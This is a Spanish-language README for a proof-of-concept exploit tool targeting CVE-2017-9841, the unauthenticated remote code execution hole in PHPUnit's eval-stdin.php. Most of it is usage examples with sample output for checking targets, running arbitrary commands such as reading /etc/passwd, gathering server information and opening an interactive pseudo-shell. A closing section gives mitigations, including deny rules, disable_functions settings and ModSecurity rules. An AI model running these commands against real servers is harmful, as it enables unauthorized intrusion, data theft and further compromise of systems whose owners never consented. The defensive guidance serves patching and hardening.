
CVE-2017-9841 es una vulnerabilidad de ejecución remota de código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.
⚠️ AVISO: Esta herramienta está destinada únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.
CVE-2017-9841 es una vulnerabilidad de Ejecución Remota de Código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.
La vulnerabilidad existe en src/Util/PHP/eval-stdin.php, que ejecuta código PHP recibido a través de php://input (cuerpo POST) usando la función eval(). Si este archivo es accesible públicamente (por ejemplo, dentro de un directorio vendor/ sin protección), un atacante puede ejecutar código PHP arbitrario en el servidor sin autenticación.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Este archivo acepta código PHP del cuerpo POST y lo ejecuta inmediatamente a través de eval() sin autenticación ni validación.
requestspip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
El flag -u acepta tanto una URL base (añade automáticamente la ruta vulnerable) como una URL completa que apunte directamente a eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Output:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Output:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Output:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Agrega un archivo .htaccess dentro del directorio vendor/:
# /path/to/project/vendor/.htaccess
Deny from all
O configúralo en tu Apache VirtualHost:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Para Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions en php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini o en VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# o
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Ejemplo de ModSecurity:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Ejemplo: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Atacante │
└──────────────┬───────────────┘
│ POST (código PHP)
▼
┌─────────────────────────────────────────────────────────────┐
│ Servidor Apache │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Ejecución de Código Arbitrario │ │
│ │ │ │
│ │ - Leer/Escribir archivos en el servidor │ │
│ │ - Acceder a credenciales de base de datos │ │
│ │ - Movimiento lateral hacia la red interna │ │
│ │ - Instalar backdoors / webshells │ │
│ │ - Escalada de privilegios │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Las siguientes condiciones aumentan significativamente la gravedad y explotabilidad de esta vulnerabilidad:
Esta herramienta se proporciona únicamente para fines educativos y pruebas de seguridad autorizadas.
| Campo | Valor |
|---|
| ID CVE | CVE-2017-9841 |
| Puntuación CVSS | 9.8 (Crítica) |
| Afectados | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Tipo | Ejecución Remota de Código (RCE) |
| Autenticación | No requerida |
| Vector | Red (remoto) |
| Publicado | 27 de junio de 2017 |
| Referencia | NVD |
| Flag | Descripción |
|---|
-u, --url URL | URL base objetivo o URL completa hacia eval-stdin.php |
-c, --cmd CMD | Comando CLI a ejecutar en el servidor objetivo |
--check | Verificar si el objetivo es vulnerable sin ejecutar comandos |
--shell | Abrir una pseudo-shell interactiva |
--info | Recopilar información del servidor (solo lectura) |
--find-path | Escanear rutas comunes para localizar eval-stdin.php |
--path PATH | Especificar una ruta personalizada hacia eval-stdin.php |
--timeout N | Tiempo de espera de la solicitud en segundos (predeterminado: 30) |
-o, --output FILE | Guardar la salida del comando en un archivo |
--php CODE | Ejecutar código PHP puro en lugar de comandos del sistema |
| Factor | Impacto |
|---|
disable_functions está vacío | Todas las funciones de PHP están disponibles (system, exec, etc.) |
open_basedir no está configurado | El atacante puede leer/escribir archivos en todo el sistema de archivos |
Alto max_execution_time | El atacante tiene más tiempo por solicitud para payloads complejos |
| Extensión FFI cargada | Permite llamadas directas a funciones de C, evitando restricciones de PHP |
| Extensiones de base de datos cargadas | Conexiones directas a la base de datos posibles (mysqli, pgsql, etc.) |
| Sin WAF desplegado | Sin filtrado ni bloqueo de solicitudes |
| Sin IDS/IPS implementado | Sin detección de anomalías ni alertas |
| Dependencias de desarrollo en producción | Expande innecesariamente la superficie de ataque |